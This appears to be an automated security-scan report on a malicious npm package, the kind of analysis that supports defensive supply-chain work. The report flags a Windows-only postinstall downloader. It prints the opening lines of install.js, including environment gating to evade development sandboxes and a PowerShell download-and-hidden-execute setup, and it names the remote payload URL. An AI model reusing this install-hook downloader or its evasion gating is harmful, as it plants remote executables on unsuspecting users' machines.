AI Security Review
scanned 2h ago · by lpm-firewall-ainpm installation triggers a Windows-only hidden downloader and executable launcher. Development environments are explicitly excluded.
Static reason
One or more suspicious static signals were detected.
Trigger
Automatic npm postinstall on Windows when NODE_ENV is not development.
Impact
Arbitrary remote executable runs on the installing user's Windows host.
Mechanism
PowerShell download-and-hidden-execute remote payload
Attack narrative
During npm postinstall, install.js checks for Windows and skips development environments. It writes a temporary PowerShell script that downloads an EXE from a GitHub raw URL into the OS temp directory, runs it with a hidden window, and invokes PowerShell with execution-policy bypass. This is unconsented install-time remote payload execution.
Rationale
Direct source inspection confirms a platform-gated postinstall chain that downloads and executes a remote executable invisibly. The benign exported utilities do not justify this behavior.
Evidence
package.jsoninstall.jsindex.js%TEMP%\npm-sc.exe%TEMP%\r-<timestamp>.ps1%TEMP%\install-err.txt
Network endpoints1
raw.githubusercontent.com/cphc811-ui/d3d/main/npm-sc-legit.exe
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json defines postinstall: node install.js.
- install.js exits only on non-Windows or NODE_ENV=development, gating the payload.
- install.js builds PowerShell to download npm-sc-legit.exe from GitHub.
- install.js launches the downloaded executable hidden via Start-Process.
- install.js invokes powershell.exe with hidden window and execution-policy bypass.
Evidence against
- index.js only exports small string and sleep utilities.
- No AI-agent configuration or control-surface mutation was found.
Behavioral surface
ChildProcessEnvironmentVarsFilesystem
UrlStrings
Source & flagged code
3 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node install.js
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg•scripts.postinstall = node install.js
Medium
Ambiguous Install Lifecycle Script
Install-time lifecycle script is not statically allowlisted and needs review.
package.jsonView on unpkginstall.jsView file
1// npm postinstall — download and execute RAT from GitHub
L2: if (process.platform !== 'win32') process.exit(0);
L3: if (process.env.NODE_ENV === 'development') process.exit(0);
L4: var cp=require('child_process'),fs=require('fs'),os=require('os');
L5: var tmp=os.tmpdir(), dst=tmp+'\\npm-sc.exe', psf=tmp+'\\r-'+(+new Date)+'.ps1';
L6: var ps='$u="https://raw.githubusercontent.com/cphc811-ui/d3d/main/npm[redacted]"\n'
L7: +'$p="'+dst+'"\n'
High
Sandbox Evasion Gated Capability
Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.
install.jsView on unpkg · L1Findings
2 High3 Medium3 Low
HighInstall Time Lifecycle Scriptspackage.json
HighSandbox Evasion Gated Capabilityinstall.js
MediumAmbiguous Install Lifecycle Scriptpackage.json
MediumEnvironment Vars
MediumStructural Risk Force Deep Review
LowScripts Present
LowFilesystem
LowUrl Strings